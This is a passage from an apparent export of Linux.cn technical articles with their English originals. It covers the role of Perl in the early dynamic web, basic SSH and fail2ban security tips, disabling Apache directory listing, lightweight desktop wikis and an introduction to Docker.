然而,另一种对“网关”的理解指出它不一定是一个定制设备,可能只是一个脚本,一个并不需要额外服务器的低吞吐量的附加脚本。这种形式的首次出现是有争议性的 Jim Davis 的 [Gateway to the U Mich Geography server](https://lists.w3.org/Archives/Public/www-talk/1992NovDec/0060.html),于 1992 年的 11 月发布在了 WWW-talk 邮件列表中。Davis 的脚本是使用 Perl 编写的,是一种 Web API 的原型,基于格式化的用户查询从另外的服务器拉取数据。我们来说明一下这两种对于网关的理解的不同之处,伯纳斯·李[回复了](https://lists.w3.org/Archives/Public/www-talk/1992NovDec/0069.html) Davis 的邮件,期望他和 Michigan 服务器的作者“能够达成某种共识”,“从网络的角度来看的话”仅使用一台服务器来提供这样的信息可能会更有意义。伯纳斯·李,可能是期待着 Web 的发明者可以提出一种有秩序的信息资源访问方式。这样从不同服务器上拉取数据的网关和脚本意味着一种潜在的 Web 的质的变化,虽然不断增多,但也可能有点偏离了伯纳斯·李的原始观点。
### 回到 Perl HTTPD
在 Davis 的地理服务器上的网关向标准化的、低吞吐量的、通过 CGI 方式实现的脚本化网关迈进的一步中,[Perl HTTPD](https://web.archive.org/web/19970720025822/http://www.cs.indiana.edu/perl-server/code.html) 的出现是很重要的事件,它是 1993 年初由印地安纳大学的研究生 Marc Van Heyningen 在<ruby> 布卢明顿 <rp> ( </rp> <rt> Bloomington </rt> <rp> ) </rp></ruby>完全使用 Perl 语言实现的一个 Web 服务器程序。从 Van Heyningen 给出的[设计原则](https://web.archive.org/web/19970720025822/http://www.cs.indiana.edu/perl-server/intro.html)来看,基于使用 Perl 就不需要任何的编译过程这样一种事实,使得它能够成为一种极易扩展的服务器程序,这个服务器包含了“一个向代码中增加新特性时只要简单的重启一下就可以,而不会有任何的宕机时间的特性”,使得这个服务器程序可以频繁的加入新功能。
Perl HTTPD 代表了那种服务器程序应该是单一、特定目的的观点。相应的,这种模式似乎暗示了在 Web 开发中像这样渐进式的、持续测试的软件产品可能会最终变成一种共识。Van Heyningen 在后来[提到过](https://web.archive.org/web/19980122184328/http://www.cs.indiana.edu/perl-server/history.html)他从头编写这样一个服务器程序的初衷是当时没有一种简便的方式使用 CERN 服务器程序来生成“虚拟文档”(例如,动态生成的页面),他打趣说使用 Perl 这样的“神之语言”来写可能是最简单的方式了。在他初期编写的众多脚本中有一个 Sun 操作系统的用户手册的 Web 界面,以及 [Finger 网关](https://web.archive.org/web/19990429014629/http://www.cs.indiana.edu:800/finger/gateway)(这是一种早期用来共享计算机系统信息或者是用户信息的协议)。
虽然 Van Heyningen 将印地安纳大学的服务器主要用来连接现存的信息资源,他和研究生们同时也看见了作为个人发布形式的潜在可能。其中一件广为人知事件是在 1993-1994 年之间围绕着一个著名的加拿大案件而[公布](https://web.archive.org/web/19970720205155/http://www.cs.indiana.edu/canada/karla.html)的一系列的文件、照片和新闻故事,与此形成鲜明对比的是,所有的全国性媒体都保持了沉默。
Perl HTTPD 没有坚持到现在的需要。今天,Van Heyningen 回忆起这个程序的时候认为这个程序只是当时的一个原型产品。它的原始目的只是向那些已经选择了 Gopher 作为大学的网络界面的资深教员们展示了网络的另一种利用方式。Van Heyningen 以[一种基于 Web 的、可搜索的出版物索引](https://web.archive.org/web/19990428030253/http://www.cs.indiana.edu:800/cstr/search)的方式,用代码回应了他的导师们的虚荣。就是说,在服务器程序技术方面关键创新是为了赢得争论的胜利而诞生的,在这个角度上来看代码做到了所有要求它所做的事。
不管该服务器程序的生命是否短暂,伴随者 Perl HTTPD 一起出现的理念已经传播到了各个角落。Van Heyningen 开始收到了获取该代码的请求,而后将它分享到了网上,并提示说,需要了解一些 Perl 就可以将它移植到其它操作系统(或者找到一个这样的人也行)。不久之后,居住在<ruby> 奥斯汀 <rp> ( </rp> <rt> Austin </rt> <rp> ) </rp></ruby>的程序员 Tony Sanders 开发了一个被称为 [Plexus](https://web.archive.org/web/19990421192342/http://www.earth.com/server/doc/plexus.html) 的轻便版本。Sander 的服务器程序是一款全功能的产品,并且同样包含了 Perl HTTPD 所建议的易扩展性,而且添加一些新的特性如图片解码等。Plexus [直接影响了](http://1997.webhistory.org/www.lists/www-talk.1993q4/0516.html) Rob McCool 给 NCSA HTTPD 服务器上的脚本开发的“htbin”,并且同样影响到了不久之后诞生的通用网关接口(CGI)。
在这些历史遗产之外,感谢妙不可言的<ruby> 互联网时光机 <rp> ( </rp> <rt> Internet Archive </rt> <rp> ) </rp></ruby>使得 Perl HTTPD 在今天依然保留在一种我们依然可以获取的形式,你可以从[这里下载 tarball](https://web.archive.org/web/20011126190051/http://www.cs.indiana.edu/perl-server/httpd.pl.tar.Z)。
### 历史展望
对于技术世界的颠覆来说,技术的改变总是在一个相互对立的过程中。现有的技术是思考新技术的基础与起点。过时的编程形式启迪了今天人们做事的新方式。网络世界的创新可能看起来更像是对于旧技术的扩展,不仅仅是 Perl。
在萌芽事件的简单的时间轴之外,Web 历史学者也许可以从 Perl 获取更多的线索。其中一部份的挑战在于材料的获取。更多需要做的事情包括从可获取的大量杂乱的数据中梳理出它的结构,将分散在邮件列表、归档网站,书本和杂志中的信息内容组合在一起。还有一部分的挑战是需要认识到 Web 的历史不仅仅是新技术发布的日子,它同时包括了个人记忆、人类情感与社会进程等,并且这不仅仅是单一的历史线而是有许许多多条相似的历史线组合而成的。就如 Perl 的信条一样“<ruby> 殊途同归。 <rp> ( </rp> <rt> There's More Than One Way To Do It. </rt> <rp> ) </rp></ruby>”
(题图来自:[pinterest.com](https://www.pinterest.com/pin/146930006563199552/))
---
via: <https://opensource.com/life/16/11/perl-and-birth-dynamic-web>
作者:[Michael Stevenson](https://opensource.com/users/mstevenson) 译者:[wcnnbdk1](https://github.com/wcnnbdk1) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | The web's early history is generally remembered as a few seminal events: the day Tim Berners-Lee [announced](https://groups.google.com/forum/#!msg/alt.hypertext/eCTkkOoWTAY/bJGhZyooXzkJ) the WWW-project on Usenet, the document with which [CERN released the project's code](https://tenyears-www.web.cern.ch/tenyears-www/) into the public domain, and of course [the first version of the NCSA Mosaic browser](http://1997.webhistory.org/www.lists/www-talk.1993q1/0099.html) in January 1993. Although these individual moments were certainly crucial, the period is far richer and reveals that technological development is not a set of discrete events, but rather a range of interconnected stories.
One such story is how exactly the web became *dynamic*, which is to say, how we got web servers to do more than serve static HTML documents. This is a story that spans [newsgroups](https://en.wikipedia.org/wiki/Usenet_newsgroup) and mailing lists, computer science labs, and continents—its focus is not so much one person as one programming language: Perl.
## CGI scripts and infoware
In the mid- to late-1990s, Perl and the dynamic web were nearly synonymous. As a relatively easy-to-learn interpreted language with powerful text-processing features, Perl made it easy to write scripts to connect a website to a database, handle form data sent by users, and of course create those unmistakeable icons of the '90s web, hit counters and guestbooks.
Such website features came in the form of CGI scripts, named for the Common Gateway Interface, [first implemented](http://1997.webhistory.org/www.lists/www-talk.1993q4/0518.html) by Rob McCool in the NCSA HTTPD server in November 1993. CGI was designed to allow for drop-in functionality, and within a few years one could easily find archives of pre-cooked scripts written in Perl. An infamous case was [Matt's Scripts Archive](https://web.archive.org/web/19980709151514/http://scriptarchive.com/), a popular source that unintentionally carried security flaws and inspired members of the Perl community to create a professional alternative called [Not Matt's Scripts](http://nms-cgi.sourceforge.net).
At the same time that amateur and professional programmers took up Perl to create dynamic websites and applications, Tim O'Reilly [coined the term "infoware"](https://web.archive.org/web/20000815230603/http://www.edventure.com/release1/1198.html) to describe how the web and Perl were part of a sea of change in the computing industry. With innovations by Yahoo! and Amazon in mind, O'Reilly wrote: "Traditional software embeds small amounts of information in a lot of software; infoware embeds small amounts of software in a lot of information." Perl was the perfect small-but-powerful tool—the Swiss Army Chainsaw—that powered informational media from large web directories to early platforms for user-generated content.
## Forks in the road
Although Perl's relationship to CGI is well-documented, the links between the programming language and the rise of the dynamic web go deeper. In the brief period between the appearance of [the first website](http://info.cern.ch/hypertext/WWW/TheProject.html) (just before Christmas 1990) and McCool's work on CGI in 1993, much of what defined the web in the 1990s and beyond—from forms to bitmaps and tables—was up in the air. Although Berners-Lee was often deferred to in these early years, different people saw different potential uses for the web, and pushed it in various directions. On the one hand, this resulted in famous disputes, such as questions of [how closely HTML should follow SGML](http://1997.webhistory.org/www.lists/www-talk.1993q1/0096.html), or [whether to implement an image tag](http://1997.webhistory.org/www.lists/www-talk.1993q1/0182.html). On the other hand, change was a slower process without any straightforward cause. The latter best describes how the dynamic web developed.
In one sense, the first gateways can be traced to 1991 and 1992, when Berners-Lee and a handful of other computer scientists and hypertext enthusiasts [wrote servers](http://info.cern.ch/hypertext/WWW/Daemon/Overview.html) that connected to specific resources, such as particular CERN applications, general applications such as Oracle databases, and [wide area information servers (WAIS)](https://en.wikipedia.org/wiki/Wide_area_information_server). (WAIS was the late 1980s precursor to the web developed by, among others, [Brewster Kahle](http://brewster.kahle.org/about/), a digital librarian and founder of the [Internet Archive](https://archive.org/index.php).) In this way, a gateway was a custom web server designed to do one thing: connect with another network, database, or application. Any dynamic feature meant running another daemon on a different port (read, for example, Berners-Lee's description of [how to add a search function](http://1997.webhistory.org/www.lists/www-talk.1993q1/0109.html) to a website). Berners-Lee intended the web to be a universal interface to diverse information systems, and encouraged a proliferation of single-purpose servers. He also [noted](http://info.cern.ch/hypertext/WWW/Provider/ShellScript.html) that Perl was "a powerful (if otherwise incomprehensible) language with which to hack together" one.
However, another sense of "gateway" suggested not a custom machine but a script, a low-threshold add-on that wouldn't require a different server. The first of this kind was arguably Jim Davis's [Gateway to the U Mich Geography server](https://lists.w3.org/Archives/Public/www-talk/1992NovDec/0060.html), released to the WWW-talk mailing list in November 1992. Davis's script, written in Perl, was a kind of proto-Web API, pulling in data from another server based on formatted user queries. Highlighting how these two notions of gateway differed, Berners-Lee [responded](https://lists.w3.org/Archives/Public/www-talk/1992NovDec/0069.html) to Davis requesting that he and the author of the Michigan server "come to some arrangement," as it would make more sense "from the network point of view" to only have one server providing this information. Berners-Lee, as might be expected of the person who invented the web, preferred an orderly information resource. Such drop-in gateways and scripts that pulled data in from other servers meant a potential qualitative shift in what the web could be, extending but also subtly transforming Berners-Lee's original vision.
## Going Wayback to the Perl HTTPD
An important step between Davis's geography gateway and the standardization of such low-threshold web scripting through CGI was the [Perl HTTPD](https://web.archive.org/web/19970720025822/http://www.cs.indiana.edu/perl-server/code.html), a web server written entirely in Perl by grad student Marc Van Heyningen at Indiana University in Bloomington in early 1993. Among [the design principles](https://web.archive.org/web/19970720025822/http://www.cs.indiana.edu/perl-server/intro.html) Van Heyningen laid out was easy extensibility—beyond the fact that using Perl meant no compiling was necessary, the server included "a feature to restart the server when new features are added to the code with zero downtime," making it "trivial" to add new functionality.
The Perl HTTPD stood in contrast to the idea that servers should have a single, dedicated purpose. Instead, it hinted at an incremental, permanently beta approach to software products that would eventually be considered common sense in web work. Van Heyningen [later wrote](https://web.archive.org/web/19980122184328/http://www.cs.indiana.edu/perl-server/history.html) that his reason for building a server from scratch was there was no easy way to create "virtual documents" (i.e., dynamically generated pages) with the CERN server, and joked that the easiest way to do this was to use "the language of the gods." Among the scripts he added early on was a web interface to Sun's man pages as well as a [a Finger Gateway](https://web.archive.org/web/19990429014629/http://www.cs.indiana.edu:800/finger/gateway) (an early protocol for sharing information about a computer system or user).
Although the Indiana University server used by Van Heyningen was primarily used to connect to existing information resources, Van Heyningen and fellow students also saw the potential for personal publishing. One of its more popular pages from 1993-1994 [published](https://web.archive.org/web/19970720205155/http://www.cs.indiana.edu/canada/karla.html) documents, photographs, and news stories around a famous Canadian court case for which national media had been gagged.
The Perl HTTPD wasn't necessarily built to last. Today, Van Heyningen remembers it as a "hacked up prototype." Its original purpose was to demonstrate the web's usefulness to senior staff who had chosen Gopher to be the university's network interface. Van Heyningen's argument-in-code included an appeal to his professors' vanity in the form of [a web-based, searchable index of their publications](https://web.archive.org/web/19990428030253/http://www.cs.indiana.edu:800/cstr/search). In other words, a key innovation in server technology was created to win an argument, and in that sense the code did all that was asked of it.
Despite the servers's temporary nature, the ideas that accompanied the Perl HTTPD would stick around. Van Heyningen began to receive requests for the code and shared it online, with a note that one would need to know some Perl (or someone who did) to port the server to other systems. Soon after, Austin-based programmer Tony Sanders created a portable version called [Plexus](https://web.archive.org/web/19990421192342/http://www.earth.com/server/doc/plexus.html). Sanders's web server was a fully fledged product that cemented the kind of easy extensibility that the Perl HTTPD suggested, while adding a number of new features such as image decoding. Plexus in turn [directly inspired](http://1997.webhistory.org/www.lists/www-talk.1993q4/0516.html) Rob McCool to create an "htbin" for scripts on the NCSA HTTPD server, and soon after that the implementation of the Common Gateway Interface.
Alongside this historical legacy, the Perl HTTPD is also preserved in a more tangible form—thanks to the wonderful Internet Archive (the Wayback Machine), you can still [download the tarball](https://web.archive.org/web/20011126190051/http://www.cs.indiana.edu/perl-server/httpd.pl.tar.Z) today.
## Future histories
For all the tech world's talk of disruption, technological change is in fact a contradictory process. Existing technologies are the basis for thinking about new ones. Archaic forms of programming inspire new ways of doing things today. Something as innovative as the web was very much an extension of older technologies—not least, Perl.
To go beyond simple timelines of seminal events, perhaps web historians could take a cue from Perl. Part of the challenge is material. Much of what must be done involves wrangling structure from the messy data that's available, gluing together such diverse sources as mailing lists, archived websites, and piles of books and magazines. And part of the challenge is conceptual—to see that web history is much more than the release dates of new technologies, that it encompasses personal memory, human emotion, and social processes as much as it does protocols and Initial Public Offerings, and that it is not one history but many. Or as the Perl credo goes, "There's More Than One Way To Do It."
*This is the first article in Opensource.com's Open Community Archive, a new community-curated collection of stories about the history of open source technologies, projects, and people. Send your story ideas to [email protected].*
## 5 Comments |
8,189 | 让你的 Linux 远离黑客(一):两个安全建议 | https://www.linux.com/news/webinar/2017/how-keep-hackers-out-your-linux-machine-part-1-top-two-security-tips | 2017-02-10T09:55:00 | [
"安全",
"黑客",
"SSH"
] | https://linux.cn/article-8189-1.html | 
>
> 在本系列中,我们将介绍五种将黑客拒之门外的最简单的方法。
>
>
>
在互联网上没有什么比诱人的 Linux 机器让黑客更喜欢的了。在最近的 Linux 基金会网络研讨会中,我分享了黑客用来侵入的战术、工具和方法。
在这个系列的博文中,我们将介绍五种将黑客拒之门外的最简单的方法,并知道他们是否已经侵入。想要了解更多信息?请[观看免费的网络研讨会点播](http://bit.ly/2j89ISJ)。
### 简单的 Linux 安全提示 #1
**如果你没有在使用安全 shell,你应该取使用它。**
这是一个有非常非常长时间的提示了。Telnet 是不安全的。 rLogin 是不安全的。仍然有服务需要这些,但它们不应该暴露在互联网上。如果你没有 SSH ,那就关闭互联网连接。我们总是说:使用 SSH 密钥。
SSH 规则 1:不要使用密码认证。SSH 规则 2:不要使用密码认证。SSH 规则 3:不要使用密码认证。重要的事情重复三遍。
如果你有一台 Linux 机器在互联网上,不管时间长短,你总是面临暴力破解。肯定会这样的。暴力破解用的是脚本。扫描器只要看到对互联网开放的端口 22,它们就会攻击它。
你可以做的另一件事是修改 SSH 的标准端口,我们许多人都这么做。这可以防止少量的暴力攻击,但是,一般来说,不使用密码认证,你会更安全。
SSH 的第四条规则:所有密钥都要设置密码。无密码密钥根本就不是真正的密钥。我知道如果你想要自动登录或自动化一些事情,这会使得难以处理,但所有的密钥应该有密码!
我最喜欢做的就是入侵一台主机,并找到主目录与私钥。一旦我拥有了私钥,那你就玩完了。我可以闯入使用该公钥的任何地方。
如果你有口令短语,哪怕只是一个密码,它不用是你的密钥环的长密码,但是它会使我的行为更加、更加困难。
### 简单的 Linux 安全提示 #2
**安装 Fail2ban**
我说的那些暴力攻击?fail2ban 将大大有助于你。它将自动激活 iptables 规则以阻止 SSH 到你的机器的重复尝试。把它配置好,让它不会把你关在门外或者占用太多的资源。要使用它、爱它、看着它。
它有自己的日志,所以一定要查看它们,并检查它是否在实际运行。这是一件非常重要的事情。
在[本系列的第 2 部分](/article-8338-1.html),我会给你三个更容易的安全提示,以让黑客远离你的 Linux 机器。你也可以[现在观看完整的免费网络研讨会](http://bit.ly/2j89ISJ)。
---
via: <https://www.linux.com/news/webinar/2017/how-keep-hackers-out-your-linux-machine-part-1-top-two-security-tips>
作者:[Mike Guthrie](https://www.linux.com/users/anch) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,190 | 使用 .htaccess 文件禁用 Web 目录列举 | http://www.tecmint.com/disable-apache-directory-listing-htaccess/ | 2017-02-10T11:04:00 | [
"Apache",
".htaccess",
"目录"
] | https://linux.cn/article-8190-1.html | [确保 Apache web 服务器安全](http://www.tecmint.com/apache-security-tips/) 是最重要的任务之一,特别是在你的网站刚刚搭建好的时侯。
比方说,如果你 Apache 服务目录 (`/var/www/tecmint` 或 `/var/www/html/tecmint`) 下创建一个名为 `tecmint` 的目录,并且忘记在该目录放置 `index.html`,你会惊奇的发现所有访问者都可以在浏览器输入 **<http://www.example.com/tecmint>** 来完整列举所有在该目录中的重要文件和文件夹。

本文将为你展示如何使用 `.htaccess` 文件禁用或阻止 Apache 服务器目录列举。
以下便是不存在 `index.html` ,且未采取防范措施前,目录的列举的情况。
[][4]
*Apache 目录列举*
首先,`.htaccess` (**hypertext access**) 是一个文件,它可以让站点管理员控制服务器的环境变量以及其他的重要选项,用以增强他/她的站点功能。
欲知更多关于该重要文件的信息,请阅读以下文章,以便通过 `.htaccess` 的方法来确保 Apache Web 服务器的安全。
1. [确保 Apache Web 服务器安全的 25 条 .htaccess 设置技巧](http://www.tecmint.com/password-protect-apache-web-directories-using-htaccess/)
2. [使用 .htaccess 为 Apache Web 目录进行密码保护](http://www.tecmint.com/apache-htaccess-tricks/)
使用这一简单方法,在站点目录树中的任意/每个目录创建 `.htaccess` 文件,以便为站点根目录、子目录和其中的文件提供保护支持。
首先要 Apache 主配置文件中为你的站点启用 `.htaccess` 文件支持。
```
$ sudo vi /etc/apache2/apache2.conf #Debian/Ubuntu 系统
$ sudo vi /etc/httpd/conf/httpd.conf #RHEL/CentOS 系统
```
然后寻找以下部分,其中 `AllowOverride` 指令必须设置为 `AllowOverride All`。
```
<Directory /var/www/html/>
Options Indexes FollowSymLinks
AllowOverride All
</Directory>
```
如果已存在 `.htaccess` 文件,先备份(如下),假设文件在 `/var/www/html/tecmint/` (并要禁用该目录列举):
```
$ sudo cp /var/www/html/tecmint/.htaccess /var/www/html/tecmint/.htaccess.orig
```
然后你就可以在某个特定的目录使用你喜欢的编辑器打开 (或创建) 它,以便修改。并添加以下内容来关闭目录列举。
```
Options -Indexes
```
下一步就是重启 Apache Web 服务器:
```
-------- 使用 SystemD 的系统 --------
$ sudo systemctl restart apache2
$ sudo systemctl restart httpd
-------- 使用 SysVInit 的系统 --------
$ sudo /etc/init.d/apache2 restart
$ sudo /etc/init.d/httpd restart
```
现在来验证效果,在浏览器中输入:**<http://www.example.com/tecmint>**,你会得到类似如下的信息:
[][5]
*Apache 目录列举已禁用*
在本文中,我们描述了如何使用 `.htaccess` 文件来禁用 Apache Web 服务器的目录列举。之后我们会介绍两种同样简单的我方法来实现这一相同目的。随时保持联系。
像往常一样,在下方反馈表单中给我们发送关于本文的任何想法。
---
作者简介:
Aaron Kili 是一名 Linux 和 F.O.S.S 忠实拥护者、未来的 Linux 系统管理员、Web 开发者,目前是 TecMint 的原创作者,热衷于计算机并乐于知识分享。
---
译者简介:
[GHLandy](http://GHLandy.com) - 生活中所有欢乐与苦闷都应藏在心中,有些事儿注定无人知晓,自己也无从说起。
---
via: <http://www.tecmint.com/disable-apache-directory-listing-htaccess/>
作者:[Aaron Kili][a] 译者:[GHLandy](https://github.com/GHLandy) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProje) 原创编译,[Linux中国](https://linux.cn) 荣誉推出
| 301 | Moved Permanently | null |
8,191 | 3 个帮助你整理信息的桌面 Wiki | https://opensource.com/article/17/2/3-desktop-wikis | 2017-02-11T07:41:00 | [
"维基",
"Wiki"
] | https://linux.cn/article-8191-1.html | 
当你想到 “wiki” 这个词时,可能会想到 MediaWiki 或 [DokuWiki](/article-8178-1.html) 这样的例子。它们开源、好用、强大而且灵活。它们可以自己用、也可以团队协作使用或者只是帮忙整理生活中的海量信息。
另一方面,那些 wiki 也有点大。运行它们稍微需要一些额外的计算机技能。对我们中的许多人来说,这有些困难,特别是如果你只想在自己的桌面上使用 wiki。
如果你想在桌面上感受 wiki,而不用做那些复杂的工作,这很容易做到。这有一些轻量级 wiki,可以帮助你组织你的信息、跟踪你的任务、管理你的笔记等等。
让我们来看看其中三个轻量级的桌面 wiki。
### Zim Desktop Wiki
[Zim Desktop Wiki](http://zim-wiki.org/index.html)(简称 Zim)相对较小、相当快,而且易于使用。它围绕“笔记本”的概念构建,“笔记本”是一个单一主题或一组 wiki 页面的集合。
每个笔记本都可以包含任意数量的页面,你可以使用 [CamelCase](https://en.wikipedia.org/wiki/Camel_case#Wiki_link_markup)(wiki 用户的最爱)或使用工具栏上的选项在这些页面之间链接。你可以通过单击工具栏上的按钮来使用 Zim 的 wiki 标记对页面进行格式化。
Zim 可以将你的网页导出为多种格式,包括 HTML、LaTeX、ReStructuredText 和 Markdown。你还可以利用 Zim 的[众多插件](http://zim-wiki.org/manual/Plugins.html)来为应用程序添加拼写检查,方程编辑器,表格编辑器等。

*Zim Desktop Wiki*
### TiddlyWiki
[TiddlyWiki](http://tiddlywiki.com/) 不是一个软件,它是一个大的 HTML 文件。大小大概有 2MB,TiddlyWiki 是最灵活的选择之一。你可以将文件存储在计算机上、网络驱动器上,或随身携带在闪存上。 但是不要被 TiddlyWiki 表面上的简单所迷惑,它是一个非常强大的工具。
想要使用 TiddlyWiki,你要创建叫一种 “tiddlers” 的东西。 tiddlers 是你的 wiki 上的项目,如笔记、日记、书签和任务列表。tiddlers 也可以是你想要的任何东西。当使用 tiddlers 时,你可以添加 TiddlyWiki 版的 WikiText 和图片。 TiddlyWiki 甚至包装了一个原始的绘画程序。
如果这还不够,TiddlyWiki 有一个内置的插件集,它允许你更改 tiddlers 的编辑器,添加工具来实现从印象笔记导入数据、做数学排版、Markdown 渲染等等。

*TiddlyWiki*
### WikidPad
虽然不够漂亮,但古老的 [WikiPad](http://wikidpad.sourceforge.net/) 可以很好地完成工作。
当你想要围绕某个主题创建一组笔记(例如你撰写的文章的信息或项目计划)时,你可以创建一个新的 wiki 页面。接着,你可以添加子页面并通过使用 [CamelCase](https://en.wikipedia.org/wiki/Camel_case#Wiki_link_markup) 命名这些子页面将它们链接在一起。你可以创建任意数量的 wiki 页面,并且根据需要打开(在单独的窗口中)。
此外,你可以使用 WikiText 添加基本格式,也可以将图像粘贴到 wiki 页面中。当你想要共享你的 wiki 页面时,你可以在线发布或打印它们 - WikidPad 有一个非常好的 HTML 导出功能。
WikidPad 只有 Windows 安装程序或源代码发布的形式。它没有流行的发行版的软件包。但是,你不必编译就可以在 Linux 中使用它。WikidPad wiki 有从命令行启动软件的[简单而细致的说明](http://trac.wikidpad2.webfactional.com/wiki/InstallLinux)。

*WikidPad*
**你有最喜欢的可以帮你组织信息的轻量级桌面 wiki 么?请在下方的留言中与我们共享。**
---
译者简介:
Scott Nesbitt - 作家、编辑、<ruby> 江湖客 <rp> ( </rp> <rt> Soldier of fortune </rt> <rp> ) </rp></ruby>、<ruby> 豹猫牧马人 <rp> ( </rp> <rt> Ocelot wrangler </rt> <rp> ) </rp></ruby>、丈夫和父亲、博客主、陶器收藏家。Scott 是以上的混合体。他也是一个自由/开源软件的长期用户,他为此写了很多[博客](http://scottnesbitt.io/)。你可以在 [Twitter](http://www.twitter.com/ScottWNesbitt)、[GitHub](https://github.com/ScottWNesbitt) 找到他。
---
via: <https://opensource.com/article/17/2/3-desktop-wikis>
作者:[Scott Nesbitt](https://opensource.com/users/scottnesbitt) 译者:[geekpi](https://github.com/geekpi) 校对:[Bestony](https://github.com/Bestony)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | When you think of the word "wiki," examples like MediaWiki or DokuWiki probably come to mind. They're open source, useful, powerful, and flexible. They can be great tools for collaborating, working on your own, or just organizing the piles of information in your life.
On the other hand, those wikis are also big. They need quite a bit of additional digital plumbing to run. For many of us, this is overkill, especially if we only want to use wikis on our desktops.
If you want to get that wiki feeling on your desktop without dealing with all of that plumbing, you easily can. There are a number of solid lightweight wikis that can help you organize your information, keep track of your task, manage your notes, and more.
Let's take a look at three of those lightweight, desktop wikis.
## Zim Desktop Wiki
[Zim Desktop Wiki](http://zim-wiki.org/index.html) (Zim, for short) is relatively small, quite fast, and easy to use. It's built around the concept of notebooks, which are collections of wiki pages on a single topic or grouping.
Each notebook can contain any number of pages, and you can link between those pages using either [CamelCase](https://en.wikipedia.org/wiki/Camel_case#Wiki_link_markup) (a favorite of wiki users everywhere) or using an option on the toolbar. You can format your pages with Zim's wiki markup or, again, by clicking a button on the toolbar.
Zim lets you export your pages into several formats, including HTML, LaTeX, ReStructuredText, and Markdown. You can also take advantage of Zim's [numerous plugins](http://zim-wiki.org/manual/Plugins.html) to add spell checking, an equation editor, a table editor, and more to the application.
Zim Desktop Wiki
## TiddlyWiki
[TiddlyWiki](http://tiddlywiki.com/) isn't a piece of software, it's a large HTML file. Weighing in at around 2MB, TiddlyWiki is one of the most flexible options out there. You can store the file on your computer, put it on a network drive, or carry it with you on a flash drive. But don't let TiddlyWiki's outward simplicity fool you, it's a very powerful tool.
To use TiddlyWiki, you create what are called "tiddlers." Tiddlers are items on your wiki, such as notes, journal entries, bookmarks, and task lists. A tiddler can be anything you want it to be. When working with your tiddlers, you can add wiki markup using TiddlyWiki's version of WikiText and also images. TiddlyWiki even packs a rudimentary paint application.
If that wasn't enough, TiddlyWiki has a built-in set of plugins, which let you change the editor for your tiddlers, add tools to help import data from Evernote, do mathematical typography, render Markdown, and more.
TiddlyWiki
## WikidPad
While not the prettiest of applications, the venerable [WikiPad](http://wikidpad.sourceforge.net/) gets the job done, and gets it done very well.
When you want to create a set of notes around a topic, such as information for an article you're writing or a project plan, you create a new wiki page. From there, you add sub-pages and link them together by naming those sub-pages using [CamelCase](https://en.wikipedia.org/wiki/Camel_case#Wiki_link_markup). You can create as many wiki pages as you want, and you can have as many of them open (in separate windows) as you need.
In addition, you can add basic formatting using WikiText, and you can also paste images into your wiki pages. When you want to share your wiki pages, you can post them online or print them—WikidPad has a very good HTML export feature.
WikidPad only comes in the form of a Windows installer or a source code archive. It doesn't have packages for popular distributions. However, you don't have to compile the software to use it with Linux. The WikidPad wiki has [simple, but detailed instructions](http://trac.wikidpad2.webfactional.com/wiki/InstallLinux) for launching the software from the command line.
WikidPad
**Do you have a favorite lightweight or desktop wiki that helps keep you organized? Feel free to share it with our community by leaving a comment.**
## 11 Comments |
8,192 | Docker 是什么? | https://www.oreilly.com/learning/what-is-docker | 2017-02-11T09:04:00 | [
"容器",
"Docker"
] | https://linux.cn/article-8192-1.html | 
>
> 这是一篇摘录,取自于 Karl Matthias 和 Sean P. Kane 撰写的 [Docker 即学即用](http://shop.oreilly.com/product/0636920036142.do?intcmp=il-security-books-videos-update-na_new_site_what_is_docker_text_cta)。其中或许包含一些引用到本文中没有的内容,因为那些是整本书中的一部分。
>
>
>
2013 年 3 月 15 日,在加利福尼亚州圣克拉拉召开的 Python 开发者大会上,dotCloud 的创始人兼首席执行官 Solomon Hvkes 在一场仅五分钟的[微型演讲](http://youtu.be/wW9CAH9nSLs)中,首次提出了 Docker 这一概念。当时,仅约 40 人(除 dotCloud 内部人员)获得了使用 Docker 的机会。
这在之后的几周内,有关 Docker 的新闻铺天盖地。随后这个项目很快在 [Github](https://github.com/docker/docker) 上开源,任何人都可以下载它并为其做出贡献。在之后的几个月中,越来越多的业界人士开始听说 Docker 以及它是如何彻底地改变了软件的开发、交付和运行的方式。一年之内,Docker 的名字几乎无人不知无人不晓,但还是有很多人不太明白 Docker 究竟是什么,人们为何如此兴奋。
Docker 是一个工具,它致力于为任何应用程序创建分发版本而简化封装流程,将其部署到各种规模的环境中,并将敏捷软件组织的工作流程和响应流水化。
### Docker 带来的希望
虽然表面上被视为一个虚拟化平台,但 Docker 远远不止如此。Docker 涉及的领域横跨了业界多个方面,包括 KVM、 Xen、 OpenStack、 Mesos、 Capistrano、 Fabric、 Ansible、 Chef、 Puppet、 SaltStack 等技术。或许你已经发现了,在 Docker 的竞争产品列表中有一些很值得关注。例如,大多数工程师都不会认为,虚拟化产品和配置管理工具是竞争关系,但 Docker 和这两种技术都有点关系。前面列举的一些技术常常因其提高了工作效率而获得称赞,这就导致了大量的探讨。而现在 Docker 正是这些过去十年间最广泛使用的技术之一。
如果你要拿 Docker 分别与这些领域的卫冕冠军按照功能逐项比较,那么 Docker 看上去可能只是个一般的竞争对手。Docker 在某些领域表现的更好,但它带来的是一个跨越广泛的解决工作流程中众多挑战的功能集合。通过将类似 Capistrano 和 Fabric 这样的易用的应用部署工具和易于管理的虚拟系统结合起来,提供钩子使工作流自动化、编排易于实施,Docker 提供了一套非常强大的功能集。
大量的新技术来来去去,因此对这些新事物保持一定的怀疑总是好的。如果不深入研究,人们很容易误以为 Docker 只是另一种为开发者和运营团队解决一些具体问题的技术。如果把 Docker 单独看作一种虚拟化技术或者部署技术,它看起来并不引人注目。不过 Docker 可比表面上看起来的强大得多。
